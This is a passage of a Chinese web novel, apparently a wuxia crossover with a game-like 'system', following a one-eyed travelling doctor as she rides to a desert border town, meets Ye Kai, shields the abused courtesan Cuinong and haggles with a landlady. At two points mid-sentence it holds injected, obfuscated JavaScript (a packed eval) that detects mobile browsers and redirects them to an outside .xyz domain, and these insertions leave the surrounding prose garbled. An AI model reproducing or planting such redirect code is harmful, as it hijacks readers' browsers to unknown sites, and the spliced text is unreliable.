瞥了一眼昏迷的童百熊,东方柏心中不禁思忖,武功不在童百熊之下…… 这个人在青龙会中,大抵是个分舵主级别的高手。 这些时日,青龙会几乎是倾巢出动,一波一波前仆后继,如果不是童百熊受了重创,不至于拖延到眼下这个关头。 本来是想趁着黄河沙湾决堤,百姓流离失所,前来拉拢一番民心。 如今却…… 不提也罢。 东方柏撸起尤明姜的袖子,翻看她的胳膊,却没有在她身上找到青龙纹身。 怎地没有?难道…… 东方柏似是想到了什么,目光落在她的竹编药篓上,将手探进去摸了摸。 【竹编药篓】分为了内外两个空间,外部是药篓的容纳空间,内部则是8立方米(长4米*宽1米*高2米)的储物空间。只有绑定了【竹编药篓】的尤明姜,才能取用储物空间内的物品,像是【药葫芦】这类物品,她一律放在储物空间中,而虎撑这类物品,则是直接放在了药篓中。 果然。 他的手摸到了虎撑、脉枕、火罐,还有些瓶瓶罐罐的药膏和药粉。 东方柏浑身一震,眼眸中闪过一丝愧恼,立刻伸手探了探她的脉搏和鼻息。 她死了。 这样严重的暴力贯穿伤…… 短短一瞬,就足以要了她的性命。 东方柏望着尤明姜的尸体,心中五味杂陈。 修长的手指轻轻拂去她脸上沾染的血污与尘土,动作轻柔,生怕惊扰了她。 错杀了一条无辜的生命,也错过了一个将这般高手纳入麾下的良机。 “唉,”他长叹一声,声音里满是怅惘,“本是不该发生之事……” “是我莽撞,误杀了你这等豪杰……”回想起尤明姜与童百熊交手时的情景,心中更加惋惜,“你这一身的武艺,如果能为我所用,该是何等幸事。” 东方柏又长叹了口气,摊开了右手,将食指上那枚硕大的红宝石戒指褪下。 鸽血红的宝石纯净剔透,在阳光下璀璨夺目,价值连城。这红宝石的成色极好,哪怕不懂宝石的人,都能看得出它的贵重。他托起尤明姜的右手,将红宝石戒指戴在了她的食指上。熠熠的红宝石戒指,与她冰冷而苍白的手相衬,更显艳丽。 “这是我对你的赔罪,也是对你的敬重。”东方柏低声说道。 当然,东方柏此举也别有深意。 这枚红宝石戒指,一向被看作是他的信物。留下这枚戒指,后续着手处理尤明姜的遗体,黑木崖众人瞧见这醒目的信物,心知她不是池中物,对尸体才不敢有半分亵渎。 做完这一切,东方柏缓缓起身,衣袂随着他的动作轻轻摆动。 就在他转身,脚步将迈向童百熊的那一刻,那只戴着夺目红宝石戒指的手,陡然一张,死死拽住了他的袖子! · 【叮!技能已加载完毕,伤势已修复完毕!】 【鉴于银针从左眼进入,穿过眼球进入颅腔,并对位于大脑颞叶内侧的海马体造成创伤。经系统判定,少侠左眼球功能丧失,并从记忆版图中抹去一位亲友。】 【LOADING……】 【叮!执行完毕——】 【称号名称:枯荷听雨(冷却中)】 【称号效果:枯荷虽即将凋零,却在雨中残喘,有一种残而坚韧的美感。佩戴该称号后,少侠遭受到致命伤害时,立刻触发一次技能,恢复60%的身体机能和80%的血量,维持一种残而不死的状态。】 【注1:每隔半年可以触发一次。】 【注2:每一次触发技能,均在上一次身体基础上进行。】 · 17.边城 时近黄昏,落日低垂在沙漠的边缘,半橘红半灿金的霞光,笼罩着整片沙漠。 远处走来一人一骑。 鸟翅环上挂了只竹编药篓,尤明姜坐在马背上,一手执缰,一手举起袖腕,低头用虎牙撕扯着绑带。 袖口杀得太紧,污血被兜在了袖管子里,她叼着抻直的绑带,头一甩,绑带“嘣”地迸裂,暖烘烘的血溅在了脸上。 “啐!”吐了口掺血的唾沫,尤明姜抹了把脸上的血污,抄起帷帽戴回了头顶,严严实实地遮住了大半张脸。 一路遇上了一波又一波的刺客,都是奔着她手上的鸽子血戒指来的。虽然耽搁了些时间,但好在小王八翻不出大风浪,她还是平安地抵达了蒙东。 “蒙东是个好地方……咦?这话好耳熟……” 想到这里,尤明姜垂落眼睑,单手捂住自己被黑绸带蒙住的左眼睛。 牺牲了一只左眼球,换来了日月神教黑木崖总坛的入场券。 可她总觉得心里空落落的。 倒不是因为左眼球功能丧失,这一点,压根没什么值得担心的。 每一次复活,都会瞬间清除她的所有负面状态,生命值与体力值全满,各项属性恢复至最佳状态。 她只是觉得好像遗忘了什么人。 海红珠、海四爹、铁萍姑、高寄萍、石群、孟星魂、叶翔、小何……少了谁? 尤明姜捂着脑袋想了会儿,还是想不起来。 算了。 先琢磨正事儿吧。 · 东方柏要求她提供一份特殊的投名状——无论是强攻,还是智取,务必夺取马空群手中的祖母绿宝石。 不是东方柏有宝石收藏癖,而是这块祖母绿宝石另有玄机。 据传,他所说的这一块祖母绿宝石,是西方魔教的镇教之宝。 二十年前,西方魔教战败后,这颗宝石竟然遗失了下落。当时有人说,这颗宝石落在了白天羽的手里。 十八年前,白家惨遭灭门,真凶扑朔迷离,马空群接管了白天羽的全部遗产。 作为最大受益者,按她的推测,它极有可能是在马空群的手里。 尤明姜喃喃道:“富贵险中求。” 不止是祖母绿宝石,她亟需钱、势、权、人、地,亟需一个运筹于己手的势力范围。前段时间,高寄萍曾向她传了一份情报:马空群仇家临门。因此,那风声鹤唳的关东万马堂,无疑是不二之选,这才是她涉身犯险的真正目的。 枣红马的耳朵竖了起来,她轻笑一声,俯身摸了摸马鬃。 “好伙计,辛苦你了。待会儿到了绿洲,奖励你多吃些嫩一点的苜蓿草。” 说话间,远处的景色豁然一变。 隐隐可见碧波粼粼的万亩湖泊、郁郁葱葱的芦苇荡、黄绿色的沙柳林,赫然是一处生机盎然的绿洲。 “①百年如朝露,万象皆浮云……不管怎么说……” 尤明姜扯过缰绳,打了个唿哨,她双腿轻轻一夹,枣红马嘶鸣一声,撒欢似的奔跑了起来。她逆着光,在微凉的暮风中舒展了右手,戴在食指上的那枚鸽子血戒指在橘红色的余晖中熠熠生辉。 “新的故事开始了——” . 叶开躺在绿洲边缘的沙地上。 一袭破衣烂衫,污脏的头发结成乱蓬蓬的鸟窝,颊边垂落几绺油腻的发丝,浑身散发着一股酸臭气。 棕斑虎鼬叼了只沙鼠,准备带回巢穴喂养给小幼崽。经过他的身边,它拱着吻部嗅了嗅,然后“咻”地竖起了尾巴,一溜烟就没影了。 连日的沙漠之行,厚厚的靴底被磨穿了一个大窟窿,脚底板磨了好些个肥如黄豆的水泡。绿洲离他仅有一射之地,但凡他爬起来,勤走上一段路,天黑就能抵达边城了。 可他偏不。 双手枕在脑后,叶开跷起二郎腿,嘴里叼了朵风干的小雏菊,他懒洋洋的,骨头像酥软了似的,一颠一颠地晃荡着脚。 他的嘴角流露出一丝笑意,喃喃自语:“……这世间的种种,总是公平的,我这双脚啊,就该多吃点儿苦头。” 说完,他哼着小曲,掏了把温热的细沙,笑眯眯地按在了脚底的水泡上,死劲地摩擦了几下。 “叮铃铃——”清脆的铃铛声,伴着窸窸窣窣的马蹄声,由远及近。 叶开浑身一僵,没发现丁灵琳的身影,这才拍着胸脯子,松了一口气。 天知道,他听到“叮铃铃”就哆嗦,听到“叮铃铃”就想逃跑。 这人没事给马装什么铃铛?他偏过头,没好气地看向了声源处。 嗯?! 叶开睁大了眼睛,头一回见识到什么叫精致的邋遢。 来人骑着一匹枣红马,慢悠悠地游荡在沙漠上,垂缀在帽沿上的皂纱,随着绵延起伏的黄沙飘飘扬扬。 麂皮绒的厚底靴,大袖宽袍,料子像是雪绸,头上还戴着个皂纱帷帽。 马鞍左前侧是鸟翅环,挂了一只竹编药篓。 沙漠环境特殊,白日沙砾滚烫,毒虫隐匿于柔软的沙底,夜晚寒气却重,毒虫纷纷出没,务必要穿一身通风防晒的行头,免得太遭罪。这个人生怕晒伤似的,把自己裹得严严实实。 但这人又不是一般的邋遢。 那件大袖宽袍,看起来脏兮兮的,袖管子都撕得一绺一绺的,还沾了不少酱油色的泥浆。隔着老远就闻到一股恶臭,同样邋遢的叶开也忍不住竖起了大拇指。 这位才是邋遢的最高境界啊! 甭管是谁看到了她,都逃不掉这种辣眼睛的难受劲儿。 叶开一边想,一边收回视线,继续仰望着浩瀚的天空。 橘红的余晖照在他的脸上,他眯起眼睛,双臂垫在脑后,懒洋洋地吹了两声口哨:“吁——咻!” 兴许是他吹的口哨太过刺耳,马背上的脏袍人偏过脸,轻勒住了缰绳,冰冷的视线朝他扫了过来。 脏袍人:“喂,你是在挑衅我吗?” 叶开愣住了:“……” 天地可鉴,他绝没有挑衅的意思。 “看来你是不否认了。”脏袍人轻功精绝,一晃眼的工夫,已半蹲在叶开的面前。她身体前倾,隔着一层轻纱,直勾勾地盯着他,陷入了沉思。 · 尤明姜打量着眼前的男子,心想:好邋遢的一个男人。 他的五官很秀气,瘦瘦高高的,眼睛熠熠如星,整个人像银杉树似的,眼睛弯弯的,嘴唇也弯弯的,只是穿着忒邋遢了些,浑身还散发着一股酸臭气。 啧,可惜了一张白净的面皮。 两个人大眼瞪小眼。 叶开是个很懒的人,懒得招惹麻烦,但如果有人要找他的麻烦,他不介意给对方吃一点儿苦头。 被她看得心慌,他勉强笑道:“阁下盯着我看什么?” “你不渴吗?”脏袍人莫名其妙地来了一句。 水袋早空了,他的嘴唇干得像龟裂的农田,几乎都要裂得出血了,每一道裂痕都在喊渴,显然是滴水未进。 “不,自古雄才多磨难,”叶开沙哑着嗓音,随口敷衍道,“我这是打熬筋骨,磨炼心性。” 尤明姜笑了笑:“你是齐桓公再世?” “哦?”叶开睁大了眼睛,看着窗外的夜色。 “堂堂一代霸主,却被活活渴死、饿死,腐尸上爬满了蛆。不过……” “不过?” “你比他幸运,要是你在这儿渴死了,多半是一具干尸,不会生蛆。” 叶开怔了半晌,仰面大笑:“好好好,这说明②爱笑的男人运气不会太差。” 从竹编药篓中取了个竹筒,尤明姜抛给他,示意他喝一口:“喏,解解渴。” “多谢。”道谢归道谢,但他丝毫没有把竹筒接过来的意思。 理解他对陌生人的戒心,她也不勉强,撩开斗笠上的皂纱,露出了遍布污血的大半张脸,还有被黑绸带蒙住的左眼。 独眼儿? 叶开一愣,还没来得及问,便见到黑绸带上还镶了块青鱼石,怪里怪气的。 原来是防沙眼镜。 他心里不由好奇起来,心想:这人戴防沙眼镜,怎么光戴左边的那一只? · 正想得入神,忽听“啵”地一声,打开了竹筒塞子,酒香缭绕,尤明姜自己先喝了一大口。 叶开瞬间坐起身:“即墨老酒,纯黍米的。” 听到这话,尤明姜瞟了叶开一眼,嗤笑道:“呦,你倒是馋猫鼻子尖。” “给我来一口。” 竹筒递到了嘴边,他低头喝了一大口,喉咙一滚,又喷出了一大半来。 叶开表情微妙:“……淡盐水?” “我没说是酒。”尤明姜耸耸肩,一脸无辜地缩回了手。 这竹筒里的确装过即墨老酒,但大漠过于炎热,旅人无不汗流浃背,她嫌喝酒不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14854171|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解渴,又特意往喝光了的竹筒里装的淡盐水。 喝淡盐水能调元气,这是一个铃医的智慧。 叶开低头又喝一口,心情十分复杂,眼前人的脾气还真是……挺跳脱的。 · 橙红色的浪潮,在地平线处蔓延,将沙海彻底浸染成一片熠熠生辉的赤金色。 “好美的晚霞——” 遥望着壮丽的晚霞,尤明姜怔怔地看得出神了。 “你知道,看到晚霞意味着什么吗?” 听到这一声轻叹,叶开善意地提醒了一句。 尤明姜回过神:“意味着什么?” 叶开说:“意味着天要黑了。” 沙漠的夜晚格外寒冷,不乏蛇蝎毒虫出没,铁打的身子也遭不住。 “……那我得走了。”尤明姜蹦了起来,一个飞身跨上马背。 她缰绳一带,催着马儿走了两步,回头喊了他一声,“喂,上来,捎你一程。” 叶开左右看了看,又指了指自己:“说我吗?” “除了你,还有其他人吗?” “你要去哪?” “边城。”尤明姜答得飞快。 叶开沉默了半晌,忽然道:“不了。” 他这双脚啊,就该多吃点儿苦头,自己走过去,也是一样的。 “好吧。”尤明姜不勉强,腰肢轻轻一晃,枣红马就踢踏着往前走了。 叼着风干的小雏菊,叶开转过身,背对着她挥了挥手,慢悠悠地往旁边走。 蓦的,一只手薅住了他的腰带,他心中一惊,嘴里的小雏菊掉在了地上。 “什……”叶开一脸懵然,什么情况? 忽觉得一阵天旋地转,转眼,人已经横趴在马背上。 “啰哩巴嗦的,驾!” 脏袍人呼喝着扬鞭,朝马屁股上抽了一鞭,闪电般地冲了出去。 “等—等—放—我—下—来!” · 抵达边城时,天边最后一缕霞光已散。 “呕——” 叶开蹲在石碑旁,吐得昏天黑地,死活不肯继续搭她的“顺风马”。 “原来你晕马啊?”尤明姜跳下马来,伸手帮他顺了顺脊梁。 你才晕马,你全家都晕马! 叶开怒瞪她一眼,来不及怒骂,胃里又是一阵翻江倒海,赶紧低头狂吐。 听到这一声声呕吐,尤明姜心虚地骑上马,对石碑边的叶开说: “呃,那我走了,既然已经到边城了,那咱们有缘再见。” 见叶开不理她,兀自吐得起劲,她讪讪地轻夹马腹,一溜烟儿跑没影了。 · 这是一处夯土筑墙的小城。 城内的主道路是沙砾铺成的,零星能瞧见几棵高大的胡杨树。 这里的房屋大都是泥坯的,窗子开得很小,又往墙上糊了厚实的黏土,漫天飘扬的黄沙刮到这里,总算消停了不少。 果断地翻身下马,她情愿费点儿脚力,也不愿意叫石子划伤了马蹄。 牵着马环顾一圈,街上已经没什么人了,只有几个浑身脏兮兮的半大孩子,还不舍得回家,凑在一起玩斗鸡的小游戏。 正盘算着找人问问路,但一见到她走近了,孩子们立刻都跑开了。 他们缩到了自家的瓦檐下,小脸脏脏的,头发也乱蓬蓬的,一边咬着手指头,一边好奇地打量着她。 尤明姜掏了把软糯拉丝的饴糖,半哄半拉地揽过一个胆大的孩子。 这一回,她在竹编药篓里塞了好些桂圆红枣瓜子花生饴糖桃酥。 尤其是干炒花生。不太生,也不太熟,每一颗都很饱满。 往他嘴里塞了块饴糖,尤明姜亲亲热热地搂着他:“我想找个最聪明的孩子。” 小孩子尝到了甜滋味,一听“最聪明”的话题,急忙说:“我是最聪明的孩子。” “那你知道万马堂吗?” 见孩子一个劲儿点头,尤明姜笑了起来,又在他的小手里塞了个桂圆:“那最聪明的孩子,我考考你,万马堂的人经常去哪儿?” 经常去哪儿…… 饴糖在牙上胶成了一坨,孩子舔了舔牙,伸手朝一个地方指了指:“萧老……萧老板……” 尤明姜连忙抬起头,顺着小孩子手指的方向看了过去。 一栋飞檐上挂了红灯笼的老楼,正静静地矗立在黄沙之中…… · 18.牡丹 二楼。 慕容明珠与萧别离并肩而立,将楼下闹剧一览无余。 手紧紧攥着栏杆,指节泛白,骨节咯咯作响,慕容明珠恨不得一剑捅死尤明姜! 但他毕竟不是莽夫,心里比谁都清楚,对方是他无法抗衡的存在。 萧别离淡淡一笑:“走,看看去。” 他脸上阵青阵白,自知沦为了萧别离的笑柄,却偏要做出一副满不在乎的模样。深吸一口气,慕容明珠松开了紧握的栏杆,缓缓转身,一步一步走下楼梯。 . 翠浓昏昏沉沉地坐在地上。 挨了几个狠辣的嘴巴,她发丝凌乱,嘴角青青紫紫,还断断续续地流血。 强撑着想要站起身来,怀中沉甸甸的琵琶,却隐隐有滑落之势。 方才摔倒时,她的胳臂狠摔了一下,似是伤到了骨头,颤抖着使不上力气。 眼瞅着琵琶就要摔落在地上,一道白影闪过,稳稳地接住了这把琵琶。 尤明姜眉头轻蹙,怀中抱着琵琶,单膝半蹲在翠浓跟前。她不自觉放轻声音,生怕吓到这个初次谋面的可怜姑娘。 “姑娘……你还好吗?” · 翠浓抬起头,怔怔地望向了这个蒙眼的年轻铃医。 近在咫尺间,一阵清凉的紫草味儿悠悠袭来,涌入她被扇得酸麻的鼻腔中。 翠浓能真切听出,对方语气里毫不掺假的关爱。这一份久违的善意,干净而纯粹,赤诚得没有一丝杂质。 垂眸,深吸一口气,翠浓又抬起眼来,目光灼灼,想要将眼前的恩人印在心底。 这时候,翠浓不想探究这个人的来历和过往,她只笃定,这个人救了自己。 曾几何时,她也期冀过普通人的生活。可她终究挣不脱血缘的枷锁,只能在命运的漩涡里身不由己,沉沦在烟花之地。 如果那个时候,能有这样一个人拉自己一把,那她是不是会迎来曙光? 哪怕那一丝光亮再微弱,也足以让她死寂的灵魂重新燃起希望。 · “不哭不哭,没事了——” 捕捉到翠浓细微的抽泣声,尤明姜轻拎起袍袖,仔细地给她擦眼泪。 这一瞬间,翠浓的心重重地漏跳了一拍。 她后知后觉地抬起手,缓缓抚上眼睑,指尖触碰到一片湿润。 不知从何时起,泪水早已悄然滑落,打湿了脸颊,翠浓别过头去,像是被人撞破了心底最隐秘的脆弱,胡乱擦着嘴角和眼睛。 “小心碰到伤口。”尤明姜伸手,挡住她的动作,把琵琶塞到她的怀里。 翠浓一怔,没说话,任由尤明姜摆弄。 见翠浓的嘴角挂着血污,尤明姜不禁皱了皱眉,随即拿起医用脱脂无菌纱布,蘸取碘伏,轻轻涂抹在她青紫交错的嘴角。 翠浓忍不住紧紧咬住下唇,双手下意识地搂紧怀中的琵琶,可还是微微仰头,十分配合尤明姜的动作。 . 尤明姜力道很轻,每一下擦拭都小心翼翼,仿佛生怕弄疼了翠浓,她轻声细语:“疼就告诉我,我再轻一点儿。” 翠浓轻轻摇了摇头,目光落在尤明姜专注的脸上,心中泛起一阵复杂的情绪。 “刚……刚才他磕头赔罪了……”翠浓声音还有些发颤,心有余悸地说道。 她说的是那个喝醉的紫衣大汉。 尤明姜仔细收拾着沾了血污的脏纱布,语气淡淡的,却透着不容置疑:“他那是冲我磕的头。伤了谁,就该给谁磕头赔不是,这道理他都不懂?” 翠浓抽噎着,声音里满是苦涩,“我只不过是个烟花女子……” 尤明姜手上的动作顿了顿,抬眸与她对视:“一个有血有肉有灵魂的人,就值得被好好对待。” 听到这句话,翠浓的泪水夺眶而出,顺着脸颊滑落,滴在她的手背上。 · 忽然,一阵轮子滚动的声音从远处传来,打破了这份短暂的宁静。 翠浓神情一僵,尤明姜心生疑惑,抬眸望去,只见一位身穿烫金黑袍的清癯男人,双膝以下被人斩断,只能坐在藤编轮椅上,他嘴角含笑,遥遥地望着她。 这位就是无名居的萧别离,萧老板。 尤明姜心头一动,冲他点了点头。 眼角余光瞥见翠浓的异样—— 下唇几乎被她咬出了血印,跟个猎狗盯上的小鹿似的,恨不得将自己缩进地缝里。 感受到了她的不安,尤明姜的手抬起,微微顿了一瞬,才轻按上翠浓的后脑勺。 尤明姜让她的脸埋进自己颈窝,低声安抚道:“别怕,我在呢。” . 萧别离保持着温和的笑容,扶手上配了机括,轻轻一按,轮子就滚滚向前转动。 他的身后还跟着个慕容明珠。 整个偌大的无名居,冷冷清清的,只剩下了在场的四人。 慕容明珠打量着尤明姜,又看了一眼翠浓,皮笑肉不笑道:“敢情翠浓姑娘是攀上高枝儿了,难怪看不上我慕容家的人。” “自己没本事,就别在这酸言酸语。” 看都没看慕容明珠一眼,侧身搀着翠浓站起身,尤明姜动作轻柔,将她安置在一旁的椅子上。 她语气里满是不屑,冷冷吐出一句:“知道慕容家为什么一代不如一代吗?” 慕容明珠神色一凛,“你胡说什么!” 尤明姜淡淡说道:“因为你八辈子祖宗从不犯贱。” “你!”慕容明珠的眼睛瞪得滚圆,额头上青筋暴起,却敢怒不敢言。 萧别离大笑道:“敢问阁下尊姓大名?” “尤明姜。”她淡淡说道。 “在我眼里,翠浓姑娘是牡丹,牡丹可不是什么攀高枝的花儿。人挪活,花挪也不一定死。” 萧别离微微挑眉,听懂了她的弦外之音,他看着尤明姜,微笑道:“牡丹雍容又娇贵,自然是要被人精心照料的,强行带走,恐怕牡丹会凋零呢。” 尤明姜反驳道:“看来萧老板不太懂花。” 萧别离道:“哦?” “牡丹素来是不冻不开花,即便植株自身生长状态很差,也会拼尽全力绽放花朵,哪里是什么娇贵之花?” “这可是要问问翠浓的意思。”萧别离突然笑了笑,看向翠浓:“我不阻拦你,你本来就是自由的,只要你愿意,随时可以离开。” 翠浓脸色一白,想起了马空群的叮嘱,还是忍痛拒绝了尤明姜的善意。 “对不起。” “……为什么这么说?” “我不能走。” 尤明姜张了张嘴,却未发出声音。 翠浓自嘲地笑了笑:“我喜欢这里。” 开什么玩笑。尤明姜握紧了拳头,心中五味杂陈,沉默良久, 短暂的一瞬间,尤明姜忽然觉得喘不上气来,但很快,她就调整好了心态。 她的错。 她不该天真地觉得,救赎是一蹴而就的。 从来就没有容易的路。 尤明姜笑了笑:“我的枣红马不太方便牵着,我实在放心不下。能不能麻烦你帮我照看两天?……两天后,我再来找你。” 翠浓愣了愣,眼中泪光闪闪,笑了起来。 . 月亮静静地升起来了。 浓墨似的夜色中隐隐传来狼嚎声,回荡在这片荒芜之地。 夜风愈刮愈大,她戴上笠帽,压了压帽檐,快步走进了暗巷中,身影湮没在了黑暗中…… “吉屋招——租。” 手指碾平了翘角泛白的红裱纸,她双手撑膝,凑在一间泥坯屋子的木板门前,努力辨认着字迹,只是凑得越近,食物的香气就越浓。 尤明姜咽了咽口水,要是房东的厨艺稳定,租了房子以后,叫她多添一些钱充作伙食费,她也是愿意的。 三餐岂不省事? 可是这一张招租的红裱纸,大约是贴了不短的日子。风吹日晒的,甭说浓墨晕染的模糊字迹,连红裱纸都褪色了…… 怕不是早就租了出去? 正纠结要不要敲门,一只苍白修长的手越过她的脸,在木门上“叩叩叩”地敲了三下。 嗯?尤明姜直起腰,神色微微讶异,转过脸来。 借着门缝中透出来的微光,她瞧清楚了眼前的黑衣少年。 他握着一柄通身漆黑的刀,漆黑的头发,苍白的脸,唇色淡淡的,整个人看起来很干净。 尤明姜偷瞄了两眼他的刀,这把刀的外形很奇特,这是一把通体漆黑的刀。 瞥了她一眼,黑衣少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872563|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垂下眼,眼睫轻颤,恹恹地盯着自己的脚,握刀的左手微微收紧。 就在这时,屋内传来一道苍老的声音:“谁呀?” 尤明姜赶紧道:“租客!” “哦,租客呀……就来,就来。”随后就是一阵窸窸窣窣的动静,似乎是在收拾碗筷,主人家年龄大了,动作有些迟缓,尤明姜也不急着催。 她看着黑衣少年,视线触及他苍白的脸,又瞧了眼他没有血色的嘴唇,下意识地皱了皱眉,从褡裢里掏了几块饴糖,手掌心托着糖块子,伸到了他的眼前。 尤明姜颠了颠手,先捡了一块塞进自己嘴里,温声搭话:“你也是来租房子的吧?赶早不如赶巧……喏,高粱软饴糖,你也尝一尝。” 傅红雪怔了怔,垂下眼,凝望着她掌心中的那几块饴糖。指尖微微颤动,又捏紧了拳头,指节因用力而泛白,终究还是没有接过来。 “你认识我?”他说话慢吞吞的,好像经过了一番心理斗争,才挤出这几个字。 “不认识。” “为什么要请我吃糖?” 话音刚落,便听到雪袍笠帽的年轻铃医,惊奇地叫了一声:“啊?” “……”傅红雪抿唇,绷紧下颚线。 每当他自认为说错了话,就会下意识地做这个小动作。 却听对方笑着打趣:“你这人气度不俗,相貌不俗,观念却俗得很呢!” “①天地这么大,人却这么小。相请不如偶遇,我请你吃一块糖,又有何不可?”她忽又一笑,补充道:“适当吃糖,可以缓解一下乏力和心慌。” 面色苍白、乏力、心慌…… 这些都是典型的贫血症状。 恕她直言,他看起来好像患了贫血病。 来自陌生人的温情,让他恍惚了一瞬,又立刻回过神来,傅红雪摇了摇头:“不必。” 他神情淡漠,脸色苍白,漆黑的眸子中盛满了悲怆,宛如一朵枯萎的山茶花,褪去了鲜活的颜色。 对傅红雪来说,为了报仇雪恨,他准备了整整十八年!只要大仇一日未报,他就一日不得享乐,一日不能松弛! 察觉到他的抵触,尤明姜愣了一下,把饴糖塞回了褡裢中。 · 过了一盏茶的功夫,只听“咔嚓”一声,老婆婆慢吞吞地拆下了一块门板,灯光从缝隙中倾泻了出来。 夜风吹拂起她的皂纱,摇曳的灯光照亮了她漂亮的脸,蒙眼的黑绸带格外醒目。 ……瞎子? 傅红雪愣在了原地,原来眼前的青年竟然是个不能视物的瞎子? 只瞧着她行走无碍,说话充满阳光,他还以为对方是个健全的普通人。能做到这种地步,想必是长时间的听声辨位,才锻炼出来的本事。 呆呆地盯着年轻人脸上的黑绸带,傅红雪抿紧了唇,浓烈的愧疚涌上心头。 刚刚分糖时,她的态度是那么温善,说不定是鼓足了全部的勇气,他却兜头浇了人家一瓢冷水澡,他忍不住质问自己:“为什么要亵渎这个残疾人的善意?!” 无心伤害也是一种伤害! 傅红雪越想越是痛苦,这些年来,他的心头总是盘旋着一个疑问,为什么要生下他?为什么要把他带到这个痛苦的人世间? 尤明姜一抬头,就瞧见了黑衣少年微微泛红的狭长眼尾,瞧向自己的眼神,更是充满了挣扎和苦闷。 蛤? 这是什么情况? “……你还好么?”一晚上说了两遍,问候的话语已是驾轻就熟了。 傅红雪不作声,只是看着她,眼中的郁色消退了些。 她一怔,不知道说些什么,只好看着傅红雪,二人之间的气氛渐渐怪异起来。 恰在此时,佝偻着腰的老婆婆终于卸下另一块木板,从门里探出半边身子来,不着痕迹地观察着二人。 好半晌,老太婆终于露了个笑脸:“灯花爆,贵客到。里屋还空着一间呢,你们进来瞧瞧吧。” 傅红雪跨进了门槛,脚步顿了顿,又折返回来,苍白的脸上浮现出一抹歉色,善意地踢了踢门槛,弄出了点儿动静。 “小心。”他温声说道。 他怎么突然转了性子?尤明姜歪了歪头,暗暗思忖:故意踢门槛…… 难道是把她当成瞎子了? 19.癫痫 就在这时,另一块木板终于被卸了下来。 从门里探出半边身子来,不着痕迹地观察着二人,好半晌,老太婆终于露了个笑脸,“灯花爆,贵客到。里屋还空着一间,你们进来瞧瞧吧。” 傅红雪跨进了门槛,脚步顿了顿,又折返回来,苍白的脸上浮现出一抹歉色,善意地踢了踢门槛,弄出了点儿动静。 “小心。”他温声说道,侧身让这个蒙眼青年先进屋。 听到傅红雪的提醒,尤明姜微微颔首,嘴角扬起一抹淡淡的笑意,“多谢小兄弟。” . 里屋不怎么大,转悠不开三个人。 商量了一下,尤明姜走在前面,老太婆缀在她的身后,傅红雪握刀站在门口。 心里虽已做好了准备,可亲眼看到了住处的环境,还是震惊得说不出话来。 清油灯摇晃着一线昏黄,将三人的影子拉得长长的。屋内陈设简单,一张木床,一张桌子,糊了草泥的夯土墙,靠墙砌了个土炕,炕上就垫了张黑得包浆的苇席,炕边摆了个与人等高的衣柜。藏在炕底的痰盂里,隐隐传来了淡淡的尿骚气。 尤明姜站在屋子中央,目光扫过每一处细节,眉头微微皱起,这屋子滂臭滂臭的,这味儿熏得她想流眼泪,可怎么住人啊! 她直言道:“这屋子一直都这么臭?” 老太婆的笑容僵了一下,随即又恢复如常,“哎呀,上一位房客走得匆忙,还没来得及拾掇,拾掇干净就没味了……” 在两个租客之中,她比较中意这个蒙眼青年,浑身都洋溢着一股生气,没有手持凶器,看起来危险程度比较低。 不像另一个…… 瞟了一眼黑衣少年,老太婆撇了撇嘴,自己看人的眼光一向很准的,这人脸白得像个痨病鬼,走起路来一瘸一拐,他的那柄黑刀,更是散发着不祥的气息…… 晦气得很。 老太婆的这种想法,傅红雪不知道,也懒得知道。 他神色凄迷,默默地垂下眼,瞧着自己手里握着的刀,在无足轻重的人物身上,他的情绪总是很淡漠,吝于计较得失。 尤明姜则恰恰相反。 她向来不愿把他人当成傻瓜去骗,也不喜被他人当作傻瓜来骗。 这屋子真要是拾掇干净了,倒也不是不能勉强,就凭这老太婆能煮出香喷喷的饭菜,至少住在这里,不用害愁三餐的着落。 租就租吧,这种小破屋子的房钱,想来花不了几个子儿。 尤明姜捏了捏鼻梁:“婆婆,这房钱怎么算?” “这个嘛……”见她穿得是上好的雪绸袍子,脚蹬麂皮绒厚底靴,背着竹编药篓,看起来不像是个穷酸,最妙的是她蒙着眼睛,似乎是个看不清东西的瞎子。老太婆搓了搓手,脸上依旧挂着笑,“不贵不贵,住宿包三餐,每月十两银子!” “十两银子算哪门子的便宜?”尤明姜皱眉,她可不是不谙世事的生瓜蛋子,连个物价都不晓得。野生柴胡也算是稀罕药了,一两银子,能买二十六斤野生柴胡,十两就将近三百斤,熬的药汤够这老婆子喝成巨人观了! 她冷下脸来,“老太婆,你敲竹杠呢!” 傅红雪跟没听到似的,走到炕边,伸手摸了摸苇席,入手潮黏,他皱了皱眉。 “你这后生……说话忒难听了!”老太婆半哄半劝,“怎么能是敲竹杠呢?我这房钱已经很便宜了,整个边城呐,你再找不到第二家更实惠的了。” “你家这狗窝是金子镶的,还是银子砌的?张口就要十两银子!”尤明姜回怼。 “……到底租不租?”老太婆强忍火气,要不是想宰个小肥羊,她才不费口舌。 “不租。”她额头上可没烙着“冤大头”俩字。 “不租还有脸充大爷?”老太婆耷拉下脸,伸手想推搡她,“滚滚滚!” “这年头不想被宰,竟然还成了一种罪过。”尤明姜不慌不忙,脚尖轻点地面,整个人瞬间闪到一旁,“用不着您老人家担心,我是一定会找到更实惠的住处,您还是日夜求神,祈祷遇见的都是我这样的善人,死劲凑您的棺材本吧!” 